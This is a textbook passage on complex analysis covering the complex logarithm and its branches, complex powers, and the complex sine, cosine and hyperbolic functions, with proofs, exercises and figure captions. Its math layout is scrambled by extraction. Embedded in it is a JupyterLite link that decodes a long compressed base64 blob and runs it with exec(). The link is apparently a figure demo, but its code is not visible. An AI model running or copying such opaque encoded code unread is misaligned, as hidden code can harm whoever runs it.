ln |z| + iθ : θ ∈ arg z
}
, (16.9)

where ln is the real natural logarithm on (0,∞). The principal logarithm is

Log z := ln |z| + i Arg z ∈ log z, (16.10)

so that
log z = { Log z + 2kπi : k ∈ Z }. (16.11)

log 0 is undefined, since ew never vanishes.

Justification of (16.9). ew = z with w = s + it means es = |z| and t ∈ arg z, by (16.2) and
Theorem 3.7; the first forces s = ln |z|.

Example 16.6. log 1 = {2kπi}, so Log 1 = 0. log(−1) = {(2k + 1)πi}, so Log(−1) = iπ — a
value with no real analogue. log i = {i(π2 + 2kπ)}, Log i = iπ

2 . log(−2) = {ln 2 + i(π + 2kπ)},
Log(−2) = ln 2 + iπ.

Theorem 16.7 (Algebra of the logarithm). For z1, z2 ∈ C \ {0}, as an identity of sets,

log(z1z2) = log z1 + log z2, log z1
z2

= log z1 − log z2. (16.12)

For the principal branch there exists k ∈ {−1, 0, 1} with

Log(z1z2) = Log z1 + Log z2 + 2kπi, (16.13)

and all three values of k occur. Also eLog z = z for all z ̸= 0, but Log(ez) = z only when
Im z ∈ (−π, π].

Proof. (16.12) follows from (16.9) and Theorem 3.11(ii), since ln |z1z2| = ln |z1|+ln |z2| by (1.24).
(16.13) is Theorem 3.11(iii) multiplied by i and added to the modulus identity; the examples
given there transfer verbatim. eLog z = eln|z|eiArg z = |z| eiArg z = z. Finally Log(ez) = ln |ez| +
iArg(ez) = Re z + iArg(ez), and Arg(ez) = Im z precisely when Im z ∈ (−π, π] by (16.2) and
Definition 3.3.

Warning 16.8. Take z1 = z2 = −1. Then Log z1 + Log z2 = 2πi while Log(z1z2) = Log 1 = 0: the
naive identity fails by 2πi. Likewise Log(z2) ̸= 2 Log z in general, and Log(1/z) ̸= − Log z when
z is a negative real. Every logarithm identity must be checked, or stated for the multivalued log.

Theorem 16.9 (Analyticity of the principal logarithm). Let D0 = C \ (−∞, 0] be the principal
slit plane (as in Theorem 10.3). Then Log is analytic on D0 and

d

dz
Log z = 1

z
, z ∈ D0. (16.14)

Log is discontinuous at every point of (−∞, 0), with

lim
z→x0

Im z>0
Log z = ln |x0| + iπ, lim

z→x0
Im z<0

Log z = ln |x0| − iπ, x0 < 0, (16.15)

a jump of 2πi.
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Proof. Write z = x+ iy ∈ D0, so Log z = u+ iv with u = 1
2 ln(x2 + y2) and v = Arg z. On D0 we

have x + |z| > 0, and the half-angle formula gives v = Arg z = 2 arctan y

x+
√
x2 + y2 , a smooth

function there. Differentiating,

ux = x

x2 + y2 , uy = y

x2 + y2 , vx = −y
x2 + y2 , vy = x

x2 + y2 .

These four partials are continuous on D0 and satisfy ux = vy, uy = −vx, so Theorem 14.6 gives
analyticity and

d

dz
Log z = ux + ivx = x− iy

x2 + y2 = z

|z|2
= 1
z
.

The jump (16.15) follows from the corresponding statement for Arg, exactly as in Theorem 10.3(iii).

θ

Im Log z

π

−π

jump 2π

cut crossed

Figure 16.2. The jump (16.15). Following Log z once counterclockwise around the origin, the imag-
inary part Arg z climbs steadily from −π to π and then drops by 2π as the cut is crossed. The real
part ln |z| returns to its starting value; only the argument fails to. This single picture explains why∮

|z|=1 dz/z = 2πi ̸= 0 and why ln |z| has no global harmonic conjugate (Remark 15.7).
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Figure 16.3 (animated). The principal logarithm Log z. A: every point moves in a straight line from
z to f(z). B: circles straighten into vertical segments, rays into horizontal lines; the cut opens to
Imw = ±π. C: the tiles on the left deform along the path of B.
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C tiles (Figure 16.3, continued)

Definition 16.10 (Branches of the logarithm). Let τ ∈ R and let Dτ = C \ {teiτ : t ≥ 0} be the
plane cut along the ray of angle τ , and argτ the argument in (τ, τ + 2π) as in Proposition 10.5.
Then

Lτ (z) := ln |z| + i argτ z, z ∈ Dτ , (16.16)

is a branch of log on Dτ , analytic there with L′
τ (z) = 1/z; and every branch of log on Dτ equals

Lτ +2kπi for some fixed k ∈ Z. There is no branch of log on any region containing a circle around
0.

Caution on notation. The principal slit plane D0 = C\(−∞, 0] of Theorem 16.9 is the member
D−π (equivalently Dπ, the same set) of this family, and on it L−π = Log. The member with τ = 0
is the plane cut along [0,∞); whenever it is meant we write C\ [0,∞) and arg0, L0 explicitly, and
D0 always denotes the principal slit plane.

Justification of the claims in Definition 16.10. Let z ∈ Dτ and put w := e−i(τ+π)z. Then |w| =
|z| and argτ z − (τ + π) ∈ (−π, π) is an argument of w, so w ∈ D0 and Argw = argτ z − τ − π.
Hence

Lτ (z) = Log
(
e−i(τ+π)z

)
+ i(τ + π), z ∈ Dτ .

By Theorem 16.9 and the chain rule (13.6) Lτ is analytic onDτ with L′
τ (z) = e−i(τ+π)/(e−i(τ+π)z

)
=

1/z; and eLτ (z) = |z| ei argτ z = z, so Lτ is a branch of log.
If L is any branch of log on Dτ , then eL = eLτ , so by Theorem 16.3(ii) the function k :=

(L − Lτ )/(2πi) is continuous on Dτ with integer values. A continuous integer-valued function
on the connected set Dτ is constant (as in the proof of Proposition 10.5(i): the integers are at
distance ≥ 1 from each other), so L = Lτ + 2kπi with k ∈ Z fixed.

Finally suppose L were a branch of log on a region D ⊇ C(0, ρ), ρ > 0. Put γ(t) := ρeit,
t ∈ [0, 2π], and h(t) :=

(
L(γ(t)) − ln ρ − it

)
/(2πi). Since ln ρ + it ∈ log γ(t), the function h is

continuous on [0, 2π] with integer values (Theorem 16.3(ii)), hence constant, say h ≡ k. As γ(0) =
γ(2π) = ρ, evaluating at t = 0 and t = 2π gives L(ρ) = ln ρ+ 2kπi and L(ρ) = ln ρ+ 2πi+ 2kπi,
a contradiction. This is the proof of Proposition 10.5(ii), with the quotient by ρ1/neit/n replaced
by the difference with ln ρ+ it.

https://jupyterlite.github.io/demo/repl/index.html?kernel=python&toolbar=1&pyfig=c16_log_c&code=import%20numpy%2C%20matplotlib%2C%20zlib%2C%20base64%20%20%23%20run%20print%28src%29%20to%20see%20the%20code%0Asrc%20%3D%20zlib.decompress%28base64.b64decode%28%27eNqtWW1z2zYS%2Fs5fgWPiC%2BjSjCj53VXm2jRtfGennsTXSSPrNBAJSYgpkgUhW1KS%2B%2B33LEC92rnmQz2TiAQWu4tnXwF6qRywMhMzPlDDkA20GMv6pwqZyo3UdyILWb9fTNtvilwGpx7DnxqXhTZMFZgSlTzcD9lYmDIrTKb6UTmjJyYqsDaWfqCLMTu%2FmplRkUepqkjkgsnr68uLkNWDlhqroiQrKklaBXaonuZEzH3f%2F16Nh0ylbb8c9PDos8rMMtn2k4muCn1aFlZ3nxll7HCmkltmClaKSSX9F973VaJVaV54d0KzcsDa7F7laXEf2edPg1PW6Ybs9pQ1QqYn%2BSkzeiK%2FABKIbbO0SCZjmZtoKM2rTNLjj7PzlC%2B0Cc48%2FERF7uS22WCSJ0YVOeMB%2BwR5EXhi%2BG%2Fu6Yx9OfMqac5rvPkGOfavBozXtOzzZ1p%2Fy1606XcQZTIfmlHAtDQTnZ8RNURXOmGOoEPU3TO3qM24%2Ff2OxQHb2WE76ZmHXe2k0Pj75zUmgJftML7tBUHgTDGQMiUMNi0SLE3Yg1mugVZNXWh2Cx5Mi3woa6a1FznPwAC%2FDZYD%2FQlZQBXRjzMjq%2FNf%2BWoK3hBV4k7il4MsJOZwOzhBPvSdk%2FZUnoxk1abn1ULMg6fz1Kh%2FuC%2FzpEgl8SALYm8TyYMgSqUdXhOIrUaTMhVGun0%2BW%2FiNhb6cVCPuY1acqrEYyueQc1bHw07lB0tEnwFPzAHAJ2wPf0zmKSsG7J%2BTEpvUF8pIG4VS22kPFrgeYUhjN6oUGcuKodDKjMbs6Q12PNLjTxfF8MtNOH%2BKFUzkkG8d5iXjRmVAOPJ%2BkbnU0Dxl%2FRkbyrxHVBWC00VjVcqE3s5YXgDoUwaJhZZjFh9GJ%2BCYsp%2FVcKIlvcchKyN2fMh4MooPT5stxHvzqBWcsZ9gjFxZ0UTX2CI8aQXe1QyMWFLkdwgTECKWsDeHDEtpvazItFbmwh1CIspZIrKscgkqiiJsCsh4Xp048skYm0GWycvF0CoJeWv5CCHP%2FR%2BGiMuHdFvJykKzNpsUWSZtLFaLfHVVZLOXy2HPo2ylkysBzauFs3zyyUpGTk00KHKD2PZPmZ%2BM4aU%2BDUQDMVbZjAYrqdVgOV6pucRo3PwSeKUKGbLxOVw3LyN6ww8G4o%2Be51HiFnrI5y4Dt%2FcsSR1YQAlzNkVR6HGicHSI%2FCYrVZdwJEqXNRZT4DEuUo4fBGsm%2BTxge25uj8VyL27C7GzXaRNQEqGxWpnynnQRX1FnvrsrkGLNyBp%2FqZwRt7Dyn6jo9i%2F6FfSxI5YPYaF1ZQjuVN2pFGleDXO4sE85C0FN5aEeWUs49Y6x%2FH4kteSavaAkT%2BymJRfYHu0fAce3STSgD%2By2P4JqDXxkxpA1ghqI7OtGob2vQvkhHN9kq5V2DpJHNap1GRd9fhmyea0CJ%2FNAV54gWwfA9fIvw9MiN4cq%2FYA9h4D6LV1qUhb3pEq1QuNyd7ey9UGQC9xJbVQ%2Fk6w5bVIEajU9ZWSSiiBjl1BboHxDUyTOy6KvJhXIyqruLai4Xy6QuqxdRmskDghNzayU7aQYl5msywKRXEJTkFV%2FaGNtrnKRDVEFDL%2Bsa10mxiH7zXGrpyWKz6WbRVkmE4Co0%2BgiROgh7gbwFgTGyQOIfmP%2FID6pEtZ6bm%2B7C3tiMfzIkdSiAAr%2FrVYEOtRy%2FvTvCWDSol%2Bg9zi1%2B8wYP4ct3gDCNyxXWYmEn7vG7E0NQwb1SaeZ5M1gy9u2FYWWLkgcNTjT7JuFpZOJ4WXI3q4M3ddS3MJ6aM7uJOMqR84zbAjjBcxGGFOGZRKVvbLxgEYiIStrkZKV3zL4yEck%2B4qJRBcVMrFZWLpct3T5qKX7gtqV%2F4JKVbZYSV4G7DNbRFBJBnvraEmK46h7nZ9FRqFYk1nLDQYgt%2FTArNV1KnRIwme7tusW5yJfx7CskankkFcuR27mhFIXQy2xMd4gP0Zvht0L9LRoKoCIMNSDVsAKpR1gDwtZu70g8v5WghirnI%2FFlMNoaA1sOPbtE5JU1MD%2FcbRMVoNMlZQ0DKBr72N8pRexssplIpesQHzC24uJsYOwaMbEVGE7mbqVNjSHAKuSLp%2BXUlODYRQZ3LTjU2SDvRfUBXxENlooPANc84h6p3X9%2BTyy7Ou0NnOulxTWBqXCq7EumNLOUpDVFBX2vUZR75CCiDa42pkmTfTuLo%2F3miZgIivQHkqRjOBwM3Qn7Zgp54g2K1XU3Myff55%2F%2Fk%2BTtkYTE7gRS5ROMvkwO7u0zHYRJDFwb1p1nIoUSnZTayV23RSzdVVrjptoPECCEq2DsK7DaE94aWCYyaaT9XVBxRa5hXxKF5PhiFk6yhZjiYRbuV5xQrvsNMJ4WXlAVsdZVUcarXsk1m6XqbIqRSI5qiZ6RxxRaEWwnVjsyaLkExy0QpJhNxqs7fQBAe2T8JJUHm1G7KeC3eGYFh0Aavr%2FAUR3gffu5etXP4G%2BA%2F%2FvYihuQEimKsOJEX%2Bo8UEjsHW1E9cLDr%2B6ANSNeoHnvV4pBUOiqeauLaJwjPeqEHXhMKCmKg6eb4yB%2Fca79xacDqDu11K8zaVIiEieSLisL2cF2mczgue6tOldnF%2BeX78DGzq3e%2B%2F%2B%2FSMenzmfrZBatFBDdKgUrcghtvqi26YcRa0IzAs7V25yVGg1R3dKBxHq1s9sDJDYopTISyB5erM4l5yPv9zchPftm5tyjH%2Fq6TPv%2Bvz64hVJf0rDaPGTT%2FP%2FfLq5qdRwLL7sxV%2BWz9%2FVD%2BHNDasf24TJzc0fEyTZqr0TNQeW48Wrf52%2F%2BSlk9PTD219on8%2Fg%2BkI%2FQ3vTiFqHR8dHJ%2Fv7cbPVOjg8ah2ic42O4uPmMf0LGQ4we60obsYHJ83Dg9bB8cnRSStkjwwdB97r84vza9pA5wRsml3Pe9d7dUUiyVbe62rb6q8XNgeMlhS%2BQevjhifloyHyKqQzob22aNu6E3jXFySx66HLWGyXtds4RQiN04QNpSkWT7F6ht8ZfnNIxaIFJpZmNA3ZiBItn1I2mjaoIICQz%2Bh1Zl%2FHy6P6x9VRfbx%2BSseUWk3la1P0RxUNEqYUVhRyJHNGLxTHo9kG7fVFJEq4jT1moB4kaDhzajo7AgtGU6yQcpED%2BtT02dF6AJXsO9oOEQWhx77pb8nY5mMs3OIWOClbAhbEQRfWkzBJnZXpJOCwNng08WOY46gwMoS5JiZ6ibmhV%2FNXYq6XmGtSaIG5%2BUbMucVGOzy3apQ9Kbj57SmHknHLvtkOK2FLbB%2FnG1iLfE3kcrG1zNUPNrd0%2FCfpQB4PDugo%2FWRwKFtpy%2B96L3%2B1UUREHa4InYDtsGb3IfAP8e569vIqZAmNztEouUQQkjB5dDg4iK2wpjhJjwd%2BtzYQRHZuqRFMFm3fqLhHAQxO2bf07vb6xjV9pUBLmEsBvXLbuc5svh%2BpNJX5dtORZXyzxQ3shQod6ZGIlr1uwL5nb6EY6OtOd8MfXlfc0CHNomEPpEhD9Eyl4JG8FccwwoIZ%2FXTWlaCBgP192Wq7dygQ2LTmKpRD7T34vQfD3%2FH7ewxmbnIt8B5QEDfbMkTU8ZLLrAaw5cUA9QwbFG6AKCxfe6OLSkutA42%2BJ%2Fd674TsQVrwuPT3DcyOhzRKxXtIU%2FXI727E%2B%2FAQ4OuLwJtT2p5T3p5T4p7PiN2HjZ182NjGh409fFjfwHi%2BqfzcJnknwSZ4iEBfQtdrbXuvPrCXenSxTldNbU5XdgfRPgJJTIkX3bGKNO2Jqaw49UsH9tRwTP%2FTtV8jOmqSxaf3jxDvrxEfNNeI51ElTW%2BaqTE0tDDNLQSE0zw4YwuKmaWYLSlmNQXJW7FwtrDL7lfLnGUCG7TCXqWAa0g0dWAKSyvsuYT7Eh1FhvgV6ccJDlp9%2BkzQL6Y%2BsY3QC932bF9Mx%2Fs%2BnJDAOglqPmI6okaIYiApskK3%2FUZ03ASz7L6NJ8tCTO%2F%2BL41FhcBbXTHyzatFTrGU9DrGOgOyuzV8dz00uyEbIBitgKqNzPMtqVimw8UKH0dKQxc8pOq9Ss2ossqtbGY%2FoHDtP50%2F3bMnQZ%2Bu3dEgEiBxK%2FAMOcK24tDrG6RYq25BYO7BkmRSgNfmdTr425LJ%2B%2BiKFe2e9buTJn7Q56L2irafSPsFKGR36y8rBjFd3%2Fg3uU9IUndMmQb5jHgtDdaqlaaUp%2FJhG7PL41p9U%2B18i1pAe8ro3KK%2B0IHHvgXuiuCKatBjqdVN30pJ6bOjXA3CUYdmZT4Z2wt8fhWQrosy4tYYBw317dXCUa46qlv7in1cuYutaySmG6yvXvkO71DZUl%2BhJvydJQhu187vYCseZXGfructisOs6KN35XWle0L3GnSRaE%2BVdGRwnwKgYSo1XerUw%2BufQYD2bf0R8NGvku0VtqtPU%2B2jRt2iff1KLBPQ0H2BdF8gyqLC6sVRnypWNYKqY1EyTuaMg%2BXHyMX1fscv04G90aejr09Ffr%2FprT5j2XPlgf2v%2Fvq19sWq1xugtPd6ka7KTCEDPffpQrmzF5PRoB%2BKqh%2BVM%2BopfGpR%2FZ5TMYJQP%2FD%2BB%2BjQi68%3D%27%29%29.decode%28%29%0Aexec%28src%29


CHAPTER 16. EXPONENTIAL AND LOGARITHMIC FUNCTIONS 115

16.3 Complex powers
Definition 16.11 (Complex power). Let z ∈ C \ {0} and α ∈ C. Define the set

zα :=
{
eαw : w ∈ log z

}
=
{
eα(Log z+2kπi) : k ∈ Z

}
, (16.17)

and the principal value
zαpr := eαLog z. (16.18)

Proposition 16.12 (How many values?). Let z ̸= 0 and α ∈ C. The set zα of (16.17) has:

(i) exactly one element, if α ∈ Z; and then it is the ordinary power of Definition 4.1;

(ii) exactly q elements, if α = p/q ∈ Q in lowest terms with q ≥ 2; and then it is the set of q-th
roots of zp, in agreement with Theorem 4.5;

(iii) infinitely many elements, if α ∈ C \ Q (in particular whenever Imα ̸= 0).

Proof. Two values eα(Log z+2kπi) and eα(Log z+2lπi) coincide iff e2πiα(k−l) = 1 iff α(k − l) ∈ Z,
by Theorem 16.3(ii). If α = m ∈ Z this holds for all k, l: one value, and it equals emLog z =
(eLog z)m = zm by (16.4). If α = p/q in lowest terms, α(k − l) ∈ Z iff q | k − l: exactly q values,
and each satisfies (zα)q = zp. Otherwise α(k − l) ∈ Z forces k = l (if α is irrational real) or is
impossible for k ̸= l (if Imα ̸= 0, since then α(k − l) /∈ R): infinitely many values.

Example 16.13. ii: here Log i = iπ
2 and log i = {i(π2 + 2kπ)}, so

ii =
{
ei·i(π/2+2kπ)} =

{
e−π/2−2kπ : k ∈ Z

}
⊆ (0,∞).

Every value is a positive real number; the principal value is iipr = e−π/2 ≈ 0.20788. This is the
classical example of the phenomenon that “imaginary to the imaginary power” is real.

Example 16.14. (1 + i)2i
pr = e2iLog(1+i) = e2i( 1

2 ln 2+iπ/4) = e−π/2ei ln 2, of modulus e−π/2 and
argument ln 2. (−1)1/2 = {e(1/2)(iπ+2kπi)} = {i,−i}, matching Theorem 4.5. 1

√
2 = {e

√
2·2kπi}

is an infinite dense subset of the unit circle — so even 1 has infinitely many “
√

2-th powers”.

Proposition 16.15 (Derivative of a power). Fix α ∈ C. On D0 = C \ (−∞, 0] the principal
power z 7→ zαpr = eαLog z is analytic, and

d

dz
zαpr = α zα−1

pr . (16.19)

Proof. By Theorems 16.2 and 16.9 and the chain rule (13.6),

d

dz
eαLog z = eαLog z · α

z
= α eαLog ze− Log z = α e(α−1) Log z = αzα−1

pr ,

using z = eLog z and (16.4).

Warning 16.16. zαwα = (zw)α and (zα)β = zαβ are false in general for principal values, because
they inherit the failure (16.13). For instance with z = w = −1 and α = 1

2 : z1/2
pr w

1/2
pr = i · i = −1

while (zw)1/2
pr = 11/2 = 1. Compare Warning 10.6: it is the same phenomenon, since (16.18) with

α = 1/n reproduces Definition 10.2.
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16.4 Exercises
Exercise 16.1. Evaluate in the form x+ iy: e2−iπ/3, e1+iπ, eln 2+iπ/4,

∣∣e3+4i∣∣, Arg(e2+7i).

Exercise 16.2. Solve for all z: ez = 2i, ez = −3, e2z + ez = 0, ez = 1 + i
√

3.

Exercise 16.3. Compute Log and the full set log for z = −i, z = 1 − i, z = −e, z = 3.

Exercise 16.4. Compute all values, and the principal value, of (−1)i, 21+i, (1 + i)1−i, i2/3.

Exercise 16.5. (⋆) Suppose f is entire, f ′ = f , and f(x) = ex for all real x. Prove f(z) = ez as
in (16.1). (Hint: consider g(z) = f(z)e−z and use Theorem 14.13(i).)

Exercise 16.6. Find the image under w = ez of: the rectangle 0 < x < 1, 0 < y < π/2; the line
y = x; the strip 0 < y < π.

Exercise 16.7. Show that Log is not the inverse of exp as a function on C, by exhibiting z with
Log(ez) ̸= z. On which set is it a genuine inverse?

Exercise 16.8. Prove that
∣∣∣zαpr

∣∣∣ = |z|Reα e− Imα Arg z for z ∈ D0, and deduce that
∣∣∣zαpr

∣∣∣ depends
on Arg z unless α is real.

Exercise 16.9. Prove that ez takes every value in C \ {0} infinitely often, and that the solution
set of ez = w is a translate of the vertical lattice 2πiZ, namely Logw+ 2πiZ. Sketch the solution
set of ez = −1 in the plane.

Exercise 16.10. Show that |ez| ≤ e|z| for all z, with equality if and only if z is a non-negative
real. Deduce that ez is bounded on every left half-plane {Re z ≤ c} but unbounded on every right
half-plane.

Exercise 16.11. (⋆) Let L be any branch of log on a region D not containing 0. Prove L′(z) = 1/z
on D, and deduce that any two branches on the same region differ by a constant in 2πiZ. Then
(after Chapter 20; use Theorem 20.4) show that D admits a branch of log if and only if

∮
γ

dz
z = 0

for every closed contour γ in D — so the existence of a logarithm is a purely topological condition
on D.



Chapter 17

Trigonometric and Hyperbolic
Functions

17.1 Definitions
For real θ, Euler’s formula (3.6) gives eiθ = cos θ + i sin θ and e−iθ = cos θ − i sin θ; adding and
subtracting,

cos θ = eiθ + e−iθ

2 , sin θ = eiθ − e−iθ

2i (θ ∈ R). (17.1)

The right-hand sides make sense for complex arguments, which dictates the definition.

Definition 17.1 (Complex trigonometric functions). For z ∈ C define

sin z := eiz − e−iz

2i , cos z := eiz + e−iz

2 , (17.2)

and, where the denominators do not vanish,

tan z := sin z
cos z , cot z := cos z

sin z , sec z := 1
cos z , csc z := 1

sin z . (17.3)

Definition 17.2 (Complex hyperbolic functions). For z ∈ C define

sinh z := ez − e−z

2 , cosh z := ez + e−z

2 , (17.4)

with tanh z := sinh z/ cosh z, coth z := cosh z/ sinh z, sech z := 1/ cosh z, csch z := 1/ sinh z where
defined.

By (17.1) these agree with the real functions on R.

Theorem 17.3 (Elementary properties). For all z, w ∈ C:

sin(−z) = − sin z, cos(−z) = cos z; (17.5)
sin2 z + cos2 z = 1; (17.6)

sin(z + w) = sin z cosw + cos z sinw, (17.7)
cos(z + w) = cos z cosw − sin z sinw; (17.8)
sin(z + 2π) = sin z, cos(z + 2π) = cos z, tan(z + π) = tan z; (17.9)

117
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sin and cos are entire, with

d

dz
sin z = cos z, d

dz
cos z = − sin z, d

dz
tan z = sec2 z. (17.10)

The analogous statements hold for the hyperbolic functions (listed at the end of the proof; the
periods become 2πi and πi), with

cosh2 z − sinh2 z = 1, d

dz
sinh z = cosh z, d

dz
cosh z = sinh z. (17.11)

Proof. All of these are algebraic identities in e±iz and follow from Theorem 16.2. We verify three.
(17.6): writing E := eiz, so e−iz = 1/E by (16.4),

sin2 z + cos2 z = (E − E−1)2

(2i)2 + (E + E−1)2

4 = −(E2 − 2 + E−2) + (E2 + 2 + E−2)
4 = 1.

(17.8): expand the right-hand side with A := eiz, B := eiw:

(A+A−1)(B +B−1)
4 − (A−A−1)(B −B−1)

(2i)2

= AB +AB−1 +A−1B +A−1B−1

4 + AB −AB−1 −A−1B +A−1B−1

4

= 2AB + 2A−1B−1

4 = ei(z+w) + e−i(z+w)

2 = cos(z + w).

Identity (17.7) is the same computation.
(17.10): by (16.7) and the chain rule (13.6), d

dz e
±iz = ±ie±iz, so

d

dz
sin z = ieiz + ie−iz

2i = eiz + e−iz

2 = cos z,

and similarly for cos. Both are entire as linear combinations of entire functions. The formula for
tan is the quotient rule (13.5) with (17.6).

Periodicity (17.9) follows from ei(z+2π) = eize2πi = eiz. Likewise ei(z+π) = eizeiπ = −eiz and
e−i(z+π) = −e−iz give sin(z + π) = − sin z and cos(z + π) = − cos z, hence tan(z + π) = tan z.

The hyperbolic statements are obtained in the same way from (17.4), or from the trigonometric
ones via the dictionary (17.12) of Proposition 17.4 below. In particular sinh and cosh are entire
with period 2πi, tanh(z + πi) = tanh z, sinh is odd and cosh even, and the addition laws read
sinh(z + w) = sinh z coshw + cosh z sinhw and cosh(z + w) = cosh z coshw + sinh z sinhw (note
the sign).

Proposition 17.4 (The trigonometric–hyperbolic dictionary). For all z ∈ C,

sin(iz) = i sinh z, cos(iz) = cosh z, sinh(iz) = i sin z, cosh(iz) = cos z. (17.12)

Consequently every hyperbolic identity is a trigonometric identity in disguise and vice versa; over
C the two families are one family.

Proof. sin(iz) = ei(iz)−e−i(iz)

2i = e−z−ez

2i = −(ez−e−z)
2i = i · ez−e−z

2 = i sinh z, using 1/i = −i. The
other three are identical computations.
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17.2 Real and imaginary parts; size
Theorem 17.5 (Component formulas). Let z = x+ iy with x, y ∈ R. Then

sin z = sin x cosh y + i cosx sinh y, (17.13)
cos z = cosx cosh y − i sin x sinh y, (17.14)

sinh z = sinh x cos y + i cosh x sin y, (17.15)
cosh z = cosh x cos y + i sinh x sin y, (17.16)

and consequently

|sin z|2 = sin2 x+ sinh2 y, |cos z|2 = cos2 x+ sinh2 y. (17.17)

Proof. Apply (17.7) with z = x and w = iy, then (17.12):

sin(x+ iy) = sin x cos(iy) + cosx sin(iy) = sin x cosh y + i cosx sinh y.

The others are the same. For (17.17),

|sin z|2 = sin2 x cosh2 y+cos2 x sinh2 y = sin2 x(1+sinh2 y)+(1− sin2 x) sinh2 y = sin2 x+sinh2 y,

using cosh2 = 1 + sinh2 from (17.11). The computation for cos is identical.

Corollary 17.6 (Zeros). sin z = 0 if and only if z = kπ with k ∈ Z; cos z = 0 if and only if
z = π

2 + kπ with k ∈ Z. In particular the complex sine and cosine have exactly the same zeros as
their real counterparts, all of them real. Consequently tan z and sec z are analytic on C\{π2 +kπ},
and cot z, csc z on C \ {kπ}.

Proof. By (17.17), |sin z|2 = sin2 x + sinh2 y is a sum of two non-negative real numbers, so it
vanishes iff both vanish: sin x = 0 (i.e. x = kπ) and sinh y = 0 (i.e. y = 0, since sinh is
strictly increasing on R with sinh 0 = 0). Same for cos. Analyticity of the quotients follows from
Theorem 13.3.

Corollary 17.7 (The complex sine is unbounded). sin and cos are unbounded on C; indeed

|sin(x+ iy)| ≥ |sinh y| −−−−→
|y|→∞

∞. (17.18)

For example |cos(10i)| = cosh 10 > 11000.

Proof. Immediate from (17.17) and sinh y = 1
2(ey − e−y) → ±∞.

Remark 17.8. Corollary 17.7 is a genuine surprise for students arriving from real calculus, where
|sin| ≤ 1 is the first fact one learns. The inequality is an accident of restricting to R. In fact
by Liouville’s theorem (Theorem 22.2) a bounded entire function must be constant, so no non-
constant entire extension of sin could possibly be bounded. Equations such as sin z = 5 therefore
do have solutions; see Example 17.9.

Example 17.9 (Solving sin z = 5). Put E = eiz. By (17.2) the equation reads E−E−1

2i = 5, i.e.
E2 − 10iE − 1 = 0. By Theorem 6.2,

E = 10i±
√

−100 + 4
2 =

(
5 ± 2

√
6
)
i.
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Both values are purely imaginary with positive imaginary part, so argE = π
2 + 2kπ and |E| =

5 ± 2
√

6. From E = eiz we get iz ∈ logE, i.e.

z = −i logE = −i
[
ln(5 ± 2

√
6) + i

(π
2 + 2kπ

)]
= π

2 + 2kπ − i ln
(
5 ± 2

√
6
)
, k ∈ Z.

Since (5 + 2
√

6)(5 − 2
√

6) = 25 − 24 = 1, the two logarithms are negatives of each other, so the
solutions come in conjugate pairs about the real axis, as they must because sin has real coefficients.
Numerically ln(5 + 2

√
6) ≈ 2.2924, so z ≈ π

2 ± 2.2924 i modulo 2π.

17.3 Mapping properties of sin
Theorem 17.10 (sin on the fundamental strip). Let Λsin := { z = x+ iy : −π

2 < x < π
2 }. Then

sin maps Λsin bijectively onto C \
(
(−∞,−1] ∪ [1,∞)

)
. Moreover, for 0 < c < π

2 and d > 0:

(i) the vertical line x = c maps onto the branch of the hyperbola

u2

sin2 c
− v2

cos2 c
= 1 (17.19)

lying in u > 0;

(ii) the horizontal segment y = d, −π
2 < x < π

2 , maps onto the upper half of the ellipse

u2

cosh2 d
+ v2

sinh2 d
= 1; (17.20)

(iii) the real segment y = 0, −π
2 ≤ x ≤ π

2 , maps onto [−1, 1].

Proof. By (17.13), u = sin x cosh y and v = cosx sinh y.
(i) On x = c: u

sin c = cosh y and v
cos c = sinh y; subtract the squares and use cosh2 − sinh2 = 1

to get (17.19). Since cosh y ≥ 1 and sin c > 0 we have u ≥ sin c > 0, the right branch.
(ii) On y = d > 0: u

cosh d = sin x and v
sinh d = cosx; add the squares and use sin2 + cos2 = 1 to

get (17.20). For x ∈ (−π
2 ,

π
2 ) we have cosx > 0, so v > 0: the upper half.

(iii) y = 0 gives u = sin x ∈ [−1, 1], v = 0.
Bijectivity: for z = x+ iy ∈ Λsin we have cosx > 0, so v = cosx sinh y has the sign of y. Let

(u, v) with v > 0 be given. The function d 7→ u2/ cosh2 d + v2/ sinh2 d is continuous and strictly
decreasing on (0,∞) (the second term strictly, the first weakly), tends to +∞ as d ↓ 0 and to 0 as
d → ∞; so it equals 1 for exactly one d > 0. For that d the numbers u/ cosh d and v/ sinh d > 0
are the sine and cosine of exactly one x ∈ (−π

2 ,
π
2 ), and by (17.13) the point x + id is the only

point of Λsin with sin z = u + iv (any preimage must have y > 0 and, by (ii), y = d). Thus the
half-ellipses (17.20), d > 0, foliate the open upper half-plane, each covered exactly once. The case
v < 0 is symmetric (y < 0). Finally v = 0 forces y = 0, and then (iii) shows that u = sin x takes
each value in (−1, 1) exactly once for x ∈ (−π

2 ,
π
2 ) and never a value with |u| ≥ 1. So the image

is C minus the two real rays |u| ≥ 1, v = 0, and each of its points is attained exactly once.
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x

y

− π
2

π
2

sin
u

v

−1 1

Figure 17.1. Theorem 17.10: sin carries the vertical strip |Re z| < π/2 onto the plane cut along
(−∞,−1] ∪ [1,∞). Horizontal lines y = d become the half-ellipses (17.20), which shrink to the
segment [−1, 1] as d → 0; vertical lines x = c become the hyperbola branches (17.19). The two
families are confocal, with foci ±1.

−1.5 −1.0 −0.5 0.0 0.5 1.0 1.5

−1.5

−1.0

−0.5

0.0

0.5

1.0

1.5

w= (1¡ s) z+ s sin z; s= 1:00

every point moves in a straight line from z to sin z

A straight line

−1.5 −1.0 −0.5 0.0 0.5 1.0 1.5

−1.5

−1.0

−0.5

0.0

0.5

1.0

1.5

w=
sin(sz)
s ; s= 1:00

vertical lines bend into hyperbolas,
horizontal lines into ellipses, all with foci §1

B a path of maps
Figure 17.2 (animated). The sine sin z. A: every point moves in a straight line from z to f(z). B:
vertical lines bend into hyperbolas, horizontal lines into ellipses, all with foci ±1. C: the tiles on the
left deform along the path of B.
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C tiles (Figure 17.2, continued)
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sin z= E¡E¡1

2i , E= e iz: the strip jRe zj< ¼
2  in four steps

Theorem 17.10: sin  maps the strip one-to-one onto ℂ ∖ ((¡1; ¡ 1] [ [1;1))
orange (y > 0) !  upper half-plane, blue !  lower; edges !  the cut rays (red)

z ³= iz E= e iz F= E
2i

w= F+ 1
4F = sin z! ! ! !

Im w ≥ 0.004 on orange tiles, ≤ -0.004 on blue;  y = 0 → [-1.000, 1.000]
edge x = π/2: w = cosh y ≥ 1.0000;  larger |y|: larger ellipses

Figure 17.3 (animated). Why Theorem 17.10 holds: sin z = E−E−1

2i
with E = eiz (Definition 17.1),

done in steps. The strip |Re z| < π
2 is turned by z 7→ iz; then E = eiz sends it onto the right

